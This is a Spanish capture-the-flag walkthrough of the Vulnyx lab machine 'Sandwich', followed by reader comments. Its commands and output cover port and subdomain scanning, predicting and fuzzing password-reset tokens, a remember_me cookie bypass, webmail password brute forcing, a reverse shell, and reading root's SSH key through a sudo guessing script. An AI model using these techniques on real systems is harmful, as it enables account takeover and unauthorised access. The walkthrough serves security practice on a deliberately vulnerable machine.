Sandwich es una de las máquinas existentes actualmente en la plataforma de hacking Vulnyx, y es de dificultad Medium.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Empezaremos con el escaneo de puertos una vez tenemos la ip que tiene la máquina a vulnerar que en mi caso será la 192.168.0.17
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
┌──(user㉿sec)-[~] └─$ sudo nmap -sS -p- --open --min-rate 5000 -vvv -n 192.168.0.17 [sudo] password for user: Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-31 23:04 CEST Initiating ARP Ping Scan at 23:04 Scanning 192.168.0.17 [1 port] Completed ARP Ping Scan at 23:04, 0.07s elapsed (1 total hosts) Initiating SYN Stealth Scan at 23:04 Scanning 192.168.0.17 [65535 ports] Discovered open port 80/tcp on 192.168.0.17 Discovered open port 22/tcp on 192.168.0.17 Completed SYN Stealth Scan at 23:04, 1.10s elapsed (65535 total ports) Nmap scan report for 192.168.0.17 Host is up, received arp-response (0.00012s latency). Scanned at 2025-03-31 23:04:07 CEST for 1s Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 MAC Address: 08:00:27:4A:B0:7C (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 1.44 seconds Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB) |
Usamos feroxbuster para ver que encontramos en el puerto 80 y encontramos lo siguiente
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 |
┌──(user㉿sec)-[~] └─$ feroxbuster --url http://192.168.0.17 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,bak,zip ___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \ \_/ | | \ |__ | |___ | \ | \ | \__, \__/ / \ | |__/ |___ by Ben "epi" Risher 🤓 ver: 2.11.0 ───────────────────────────┬────────────────────── 🎯 Target Url │ http://192.168.0.17 🚀 Threads │ 50 📖 Wordlist │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 👌 Status Codes │ All Status Codes! 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.11.0 💉 Config File │ /etc/feroxbuster/ferox-config.toml 🔎 Extract Links │ true 💲 Extensions │ [php, html, txt, bak, zip] 🏁 HTTP methods │ [GET] 🔃 Recursion Depth │ 4 ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™ ────────────────────────────────────────────────── 404 GET 9l 31w 274c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 403 GET 9l 28w 277c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 200 GET 385l 776w 6662c http://192.168.0.17/styles.css 200 GET 16l 32w 282c http://192.168.0.17/img/pan-blanco.svg 200 GET 128l 374w 4494c http://192.168.0.17/main.js 200 GET 226l 722w 7845c http://192.168.0.17/ 301 GET 9l 28w 310c http://192.168.0.17/img => http://192.168.0.17/img/ 200 GET 226l 722w 7845c http://192.168.0.17/index.php 200 GET 1l 7w 58c http://192.168.0.17/download.php 200 GET 15l 56w 474c http://192.168.0.17/img/tomate.svg 302 GET 0l 0w 0c http://192.168.0.17/logout.php => index.php 301 GET 9l 28w 313c http://192.168.0.17/vendor => http://192.168.0.17/vendor/ 200 GET 0l 0w 0c http://192.168.0.17/config.php 200 GET 17l 39w 336c http://192.168.0.17/img/lechuga.svg 200 GET 21l 43w 382c http://192.168.0.17/img/jamon.svg 200 GET 20l 51w 448c http://192.168.0.17/img/queso.svg 200 GET 20l 57w 473c http://192.168.0.17/img/pan-centeno.svg 200 GET 20l 58w 495c http://192.168.0.17/img/pan-integral.svg 200 GET 0l 0w 0c http://192.168.0.17/vendor/index.html 301 GET 9l 28w 322c http://192.168.0.17/vendor/composer => http://192.168.0.17/vendor/composer/ 200 GET 0l 0w 0c http://192.168.0.17/vendor/composer/autoload_real.php 200 GET 21l 168w 1070c http://192.168.0.17/vendor/composer/LICENSE 200 GET 0l 0w 0c http://192.168.0.17/vendor/composer/autoload_classmap.php 200 GET 0l 0w 0c http://192.168.0.17/vendor/composer/installed.php 200 GET 0l 0w 0c http://192.168.0.17/vendor/composer/platform_check.php 200 GET 0l 0w 0c http://192.168.0.17/vendor/composer/autoload_psr4.php 200 GET 0l 0w 0c http://192.168.0.17/vendor/composer/autoload_files.php 200 GET 0l 0w 0c http://192.168.0.17/vendor/composer/autoload_static.php 200 GET 0l 0w 0c http://192.168.0.17/vendor/composer/InstalledVersions.php 200 GET 243l 472w 9179c http://192.168.0.17/vendor/composer/installed.json 200 GET 0l 0w 0c http://192.168.0.17/vendor/composer/ClassLoader.php 200 GET 0l 0w 0c http://192.168.0.17/vendor/composer/autoload_namespaces.php |
Entrando via web, lo único que nos llama la atención es un apartado de login, resgistro y contraseña olvidada.

Dado que tenemos un dominio, buscamos si existe algun subdominio y encontramos webmail.sandwich.nyx
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
┌──(user㉿sec)-[~] └─$ wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://sandwich.nyx -H "Host: FUZZ.sandwich.nyx" --hw=722 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://sandwich.nyx/ Total requests: 114441 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000005: 302 0 L 0 W 0 Ch "webmail" ^C /usr/lib/python3/dist-packages/wfuzz/wfuzz.py:80: UserWarning:Finishing pending requests... Total time: 2.787261 Processed Requests: 180 Filtered Requests: 179 Requests/sec.: 64.57951 |
Si entramos en este nuevo subdominio, tal y como indica el nombre, encontramos un portal de correo, en el cual podremos hacer login y registrarnos.

Empezamos registrando una cuenta y nos encontramos un buzon de correo vacio.

Revisando por dónde puede ir la intrusion, probamos a cambiar la contraseña desde el dominio principal al usuario que acabamos de crearnos.

Volvemos al buzón de correo y nos llega un mensaje con un enlace con el que se puede cambiar la contraseña, en este caso, son varias las peticiones de reseteo de contraseña las que se han pedido, y gracias a esto, nos damos cuenta de que el token es identico en ambas peticiones, salvo el primer octeto, el cual vemos que va rotando y comprobamos que:
– ab3cdc9c es anterior a acf24e14 por lo que consideramos que entre un correo y otro, han existido posibles variaciones de este primer octeto
– El enlace NO caduca
– Una vez usado el enlace, ya no está disponible
– No hay comprobación de ningún tipo y desde cualquier navegador se puede usar

A partir de aquí, hay dos posibles intrusiones
1 – Fuzzing de token
Como hemos dicho antes, el primero octeto tiene una lógica y ordenacion, por lo que podemos saber qué tokens han existido entre un correo y otro, asi que, como queremos acceder a la cuenta de admin, tendremos que enviar 3 correos, uno a nosotros mismos , otro al admin y otro de nuevo a nosotros mismos, de tal forma que sabiendo los octetos del primer y tercer correo, podemos generar los posibles para la cuenta de admin.
Lo más importante de este método es pedir los correos lo mas rápido posible para que la lista de posibles tokens sea lo mas corta posible ( el & al final del comando hace que no espere a que termine la ejecucion ) :
|
1 2 3 4 5 |
┌──(user㉿sec)-[~] └─$ cat send_reset curl -XPOST "http://sandwich.nyx/index.php" -d "email=loler%40sandwich.nyx&reset_action=1" -H "Cookie: PHPSESSID=tlnse017b9v7po3gdo353ufou7" & curl -XPOST "http://sandwich.nyx/index.php" -d "email=admin%40sandwich.nyx&reset_action=1" -H "Cookie: PHPSESSID=tlnse017b9v7po3gdo353ufou7" & curl -XPOST "http://sandwich.nyx/index.php" -d "email=loler%40sandwich.nyx&reset_action=1" -H "Cookie: PHPSESSID=tlnse017b9v7po3gdo353ufou7" & |
Recibimos los correos y generamos los tokens:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
┌──(user㉿sec)-[~] └─$ cat get_tokens.py start_hex = "58f5db06" end_hex = "58fc8640" start_int = int(start_hex, 16) end_int = int(end_hex, 16) start_int, end_int = min(start_int, end_int), max(start_int, end_int) hex_values = [hex(i)[2:] for i in range(start_int + 1, end_int)] with open('tokens.txt', 'w') as file: for value in hex_values: file.write(f"{value}\n") print("tokens.txt generated.") |
Por problemas que teníamos con la base de datos para fuzzear el token, hacemos split de los ficheros para que sean mas pequeños y tambien usaremos wfuzz donde la velocidad de peticiones es menor, haciendo que no tengamos problemas:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
┌──(user㉿sec)-[~] └─$ split -l 100445 tokens.txt tokens_part_ ┌──(user㉿sec)-[~] └─$ wc -l tokens.txt 437049 tokens.txt ┌──(user㉿sec)-[~] └─$ wfuzz -c -w tokens_admin_part_ad -u "sandwich.nyx/resetpassword.php" -d "token=FUZZ-0e56-11f0-8069-0800274ab07c&new_password=asdf&confirm_password=asdf" --hh 420 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://sandwich.nyx/resetpassword.php Total requests: 100445 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000052005: 200 15 L 41 W 408 Ch "bce45a8a" |
Al haber encontrado la parte del token, tambien se ha cambiado la contraseña por la que le hemos puesto en la sentencia del wfuzz.
Hacemos login en sandwich.nyx y nos encontramos con la opción de descargar «sandiches guardados», el cual es una caracteristica de la web donde puedes hacer una animación con diferentes ingredientes.

Abrimos el csv y vemos los siguientes usuarios

Tras volver a mirar varias cosas, decidimos hacer fuerza bruta en el webmail sobre estos usuarios y el que nos va a dar el positivo es el usuario matthygd_x
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
┌──(user㉿sec)-[~] └─$ ffuf -u http://webmail.sandwich.nyx/login.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -H "Cookie: PHPSESSID=jsncce2r4cfqp4mlfa6esddn65" -d "email=matthygd_x@sandwich.nyx&password=FUZZ" -w ~/cortorock -fs 861 /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v2.1.0-dev ________________________________________________ :: Method : POST :: URL : http://webmail.sandwich.nyx/login.php :: Wordlist : FUZZ: /home/user/cortorock :: Header : Content-Type: application/x-www-form-urlencoded :: Header : Cookie: PHPSESSID=jsncce2r4cfqp4mlfa6esddn65 :: Data : email=matthygd_x@sandwich.nyx&password=FUZZ :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 :: Filter : Response size: 861 ________________________________________________ qweasd [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 2175ms] [Status: 200, Size: 849, Words: 192, Lines: 31, Duration: 2480ms] |
Finalmente, hacemos login en el webmail y vemos las credenciales para poder acceder vía ssh.

2 – ll104567 nos chiva que el usuario he110wor1d , ha encontrado otra forma de acceder a la cuenta de admin@sandwich.nyx sin necesidad de hacer fuzzeo, para ello , tenemos que hacer login en sandwich.nyx con la opción de «remember me» marcada e interceptamos la peticion.
Tenemos que añadir a la cabecera, despues del PHPSESSID, «remember_me=admin@sandwich.ny» y como correo enviado en la data del post, lo cambiamos a admin, tal y como vemos en la siguiente captura.
Tras esto, hacemos un forward de la petición

Y estamos con la cuenta de admin

A partir de aquí, llegamos al mismo punto de conseguir las credenciales de matthygd.
Accedemos por ssh a la máquina y revisamos que permisos tenemos con sudo
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
┌──(user㉿sec)-[~] └─$ ssh matthygd_xy@192.168.0.17 The authenticity of host '192.168.0.17 (192.168.0.17)' can't be established. ED25519 key fingerprint is SHA256:c8erXE4AHVkShqJ2nmaoh+8C3ZBq0gRr5iBxLnGVt9k. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.0.17' (ED25519) to the list of known hosts. matthygd_xy@192.168.0.17's password: Linux sandwich 6.1.0-32-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.129-1 (2025-03-06) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Sun Mar 30 19:35:02 2025 from 192.168.1.181 matthygd_xy@sandwich:~$ sudo -l Matching Defaults entries for matthygd_xy on sandwich: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty User matthygd_xy may run the following commands on sandwich: (root) NOPASSWD: /bin/chvt |
Revisamos qué hace el binario chvt y lo que vemos en man es «Change foreground virtual terminal», es decir que podemos hacernos con una terminal.
Revisando el sistema, comprobamos que el usuario ll104567 tiene la tty20
|
1 2 |
ll104567@sandwich:~$ ls -l /dev/tty* |grep 20 crw------- 1 ll104567 tty 4, 20 abr 3 14:39 /dev/tty20 |
Para poder usarlo, tendremos que ir a la terminal de winbox, acceder con la contraseña de matthy, ejecutaremos el siguiente comando y una vez estando en esa tty, nos enviaremos una reverse shell
|
1 |
sudo /bin/chvt 20 |
|
1 2 3 4 5 6 7 8 9 |
┌──(user㉿sec)-[~] └─$ nc -nvlp 1234 listening on [any] 1234 ... connect to [192.168.0.35] from (UNKNOWN) [192.168.0.17] 33914 id uid=1001(ll104567) gid=1001(ll104567) grupos=1001(ll104567),100(users) script /dev/null -c bash Script iniciado, el fichero de anotación de salida es '/dev/null'. ll104567@sandwich:~$ |
Si ejecutamos sudo -l, comprobamos que tenemos permisos para lanzar un script como root
|
1 2 3 4 5 6 7 8 |
ll104567@sandwich:~$ sudo -l Matching Defaults entries for ll104567 on sandwich: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty User ll104567 may run the following commands on sandwich: (ALL) NOPASSWD: /opt/game.sh |
Revisamos que hace el fichero
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 |
ll104567@sandwich:~$ cat /opt/game.sh #!/bin/bash export PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin" MAX=2000000 ATTEMPTS=$(/usr/bin/awk -v max="$MAX" 'BEGIN {printf "%d", (log(max)/log(2) + 0.999999)}') /bin/echo "Hello! What is your name?" read NAME NUMBER=$(( ( RANDOM % MAX ) + 1 )) /bin/echo "Well, $NAME, I'm thinking of a number between 1 and $MAX." /bin/echo "You have $ATTEMPTS attempts to guess it." ATTEMPTS_MADE=0 SECRET_FILE="/root/.ssh/id_rsa" while [ $ATTEMPTS_MADE -lt $ATTEMPTS ]; do /bin/echo "Try to guess:" read GUESS # Validate that the input is a valid number if ! [[ "$GUESS" =~ ^[0-9]+$ ]]; then /bin/echo "Please, enter a valid number." continue fi ATTEMPTS_MADE=$((ATTEMPTS_MADE + 1)) if [ $GUESS -lt $NUMBER ]; then /bin/echo "Your guess is too low." elif [ $GUESS -gt $NUMBER ]; then /bin/echo "Your guess is too high." else break fi done if [ $GUESS -eq $NUMBER ]; then /bin/echo "Good job, $NAME! You guessed my number in $ATTEMPTS_MADE attempts!" /bin/echo "Here's your reward:" /bin/cat "$SECRET_FILE" else /bin/echo "No, the number I was thinking of was $NUMBER." fi |
Por lo tanto, al ejecutar el script, nos va a pedir que introduzcamos un numero donde lo podremos adiviar sabiendo si nos responde mayor o menor.
La primera vez que intenté resolver la máquina, tuve la suerte de dar con el número manualmente. Sin embargo, para obtener una forma más fiable de encontrar el número, necesitamos reducir el rango de posibles valores de manera progresiva. Además, es importante recordar que el valor de $RANDOM nunca será mayor que 32767. Por lo tanto, al sumarle 1, el rango se limita a 1-32768.
Dado que este rango es menor que MAX (que en este caso es 2,000,000), no es necesario realizar una división completa. En consecuencia, el valor de NUMBER siempre estará en el rango de 1 a 32768.
Una manera sencilla de ir haciendo esto es mediante el siguiente script ( ll104567 🙂 ), que dependiendo si el numero es mayor o menor, va sacando las mitades para abarcar y poder adivinar el número.
|
1 |
awk -va=$1 -vb=$2 'BEGIN{print (a+b)/2}' |
|
1 |
bash gamescript MIN MAX |
Si el número que introducimos es mayor pondremos el número introducido como MAX y si es menor lo pondremos como MIN, tantas veces hasta que demos con el número.

|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
ll104567@sandwich:~$ ssh -i id_rsa root@127.0.0.1 The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established. ED25519 key fingerprint is SHA256:c8erXE4AHVkShqJ2nmaoh+8C3ZBq0gRr5iBxLnGVt9k. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '127.0.0.1' (ED25519) to the list of known hosts. Linux sandwich 6.1.0-32-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.129-1 (2025-03-06) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Sun Mar 30 20:14:35 2025 from 192.168.1.181 root@sandwich:~# |
Y hasta aquí la maquina sandwich para la plataforma Vulnyx !











Hola cómo estás? te hago una consulta , cuando envías los 3 correos , los haces porn terminal con curl ? el de admin , no se ve reflejado , porque supuestamente lo mandas como usuario admin , por lo cual le llegaría a su bandeja ….no es cierto ? El script get_tokens.py en qué momento lo ejecutas ?
Muchas Gracias , saludos desde Argentina.
Hola, te comento:
– El envio de los correos se hace en el script como se ve en el writeup.
– El correo de admin, no lo ves pero tampoco lo envias como nadie, dado que se hace desde la web de sandwich.nyx y ahi no hace falta estar logeado como nadie.
– El script de get_token.py se ejecuta tras haber cambiado el start_hex y el end_hex
Un saludo.